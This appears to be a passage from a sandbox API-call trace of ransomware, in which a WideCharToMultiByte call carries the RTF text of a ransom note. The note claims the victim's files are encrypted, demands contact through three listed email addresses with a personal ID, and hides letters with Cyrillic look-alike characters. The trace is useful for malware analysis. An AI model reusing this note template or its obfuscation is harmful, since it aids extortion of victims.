\r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 